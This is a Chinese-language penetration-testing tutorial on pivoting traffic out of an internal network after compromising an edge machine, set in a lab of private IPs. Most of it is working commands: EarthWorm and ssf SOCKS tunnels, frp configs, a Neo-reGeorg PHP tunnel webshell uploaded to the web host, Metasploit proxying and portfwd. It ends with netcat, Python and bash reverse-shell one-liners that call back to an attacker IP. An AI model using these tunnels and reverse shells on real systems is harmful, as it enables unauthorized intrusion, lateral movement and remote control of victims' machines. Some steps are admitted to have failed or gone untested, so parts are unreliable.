在渗透中拿到一台边缘机器后剩余内网机器不出网的情况很常见,这时我们就需要把内网机器流量转到边缘机器上再进行访问,内网流量转出来的方法很多,在下面就介绍几种常见的方法
本地环境搭建:
边缘机器:
windows 7
ip:192.168.10.15(外)
192.168.52.143(内)
目标机器:
windows 2008R2
ip:192.168.52.138
攻击机器:
windows 2008
ip:192.168.10.3
kali:
msf5:192.168.10.14
msf6:192.168.10.11
将ew_for_windows上传到边缘机器
1.正向连接
适用于目标机器拥有一个外网ip
在win7机器上执行
ew -s ssocksd -l 888
监听本机888端口。然后在2008r2机器上使用proxifier进行连接
2.反向连接
适用于边缘机器无公网ip
攻击机器上执行
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
对外1234端口转发到1080端口
然后边缘机器连接
ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234
注:这里需要python环境,在2008R2上弄总是出错,切到物理机进行实验,原理相同
生成文件
python neoreg.py generate -k 123456
在neoreg_servers目录下生成了木马文件
这里web机器解析php,所以我上传一个tunnel.php的马到web机器(win7)上
攻击机连接
python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php
攻击机器上执行
边缘机器(win7)执行
agent.exe -rhost 192.168.10.3 -rport 9999
攻击机查看反弹成功
执行命令
goto 1
socks 6666
1.正向连接
把certs文件夹和ssfd上传到边缘机器
边缘机器开启1333端口
ssfd.exe ‐p 1333
攻击机连接边缘机器的1333端口,并将数据转发给1222端口
ssfd.exe ‐D 1222 ‐p 1333 192.168.10.15
2008r2出问题,换到物理机上执行
2.反向连接
攻击机本地监听1234端口,命令如下:
ssfd.exe ‐p 1234
边缘机器连接1234端口,并将数据转发到12345端口,命令如下:
ssf.exe ‐F 12345 ‐p 1234 192.168.10.3
此处没有实验成功,还是写下步骤
本地socks代理连接127.0.0.1 12345端口
攻击机设置frps.ini
[common]
bind_port = 6666
运行如下命令:
frps.exe -c frps.ini
在边缘机器设置frpc.ini
[common]
server_addr = 192.168.10.3
server_port = 6666
[http_proxy]
type=tcp
remote_port=7777
plugin=socks5
执行如下命令:
frpc.exe ‐c frpc.ini
监听本地7777端口
0x07 msf
在msf6下只剩下了socks_proxy这个模块
还是先修改proxychains4.conf这个配置文件
添加路由使用模块
这里注意一下,我们在运行之前先show options一下,发现默认是socks5代理运行
如果想使用socks4a代理,添加如下语句即可
set version 4a
修改浏览器配置
成功访问内网资源
拓展:portfwd端口转发
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下
portfwd add -l 3389 -r 192.168.52.138 -p 3389
然后我们访问本地3389
1.正向连接
需要目标有公网ip
目标机器
nc -lvp 4444 -e /bin/sh linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe windows
攻击机器
nc <目标机器ip> 4444
2.反向连接
攻击机器监听本地1234端口
nc -lvp 1234
目标机器执行
nc <ip> 1234 -e /bin/sh linux
nc <ip> 1234 -e cmd.exe windows
在一般情况下目标机器是没有nc的,这里可以用其他工具或者编程语言来代替nc
python反向shell
攻击机器:
nc -lvp 2222
目标机器:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
bash反向shell
攻击机器:
nc -lvp 2222
目标机器:
bash -i >& /dev/tcp/192.168.10.3/2222 0>&1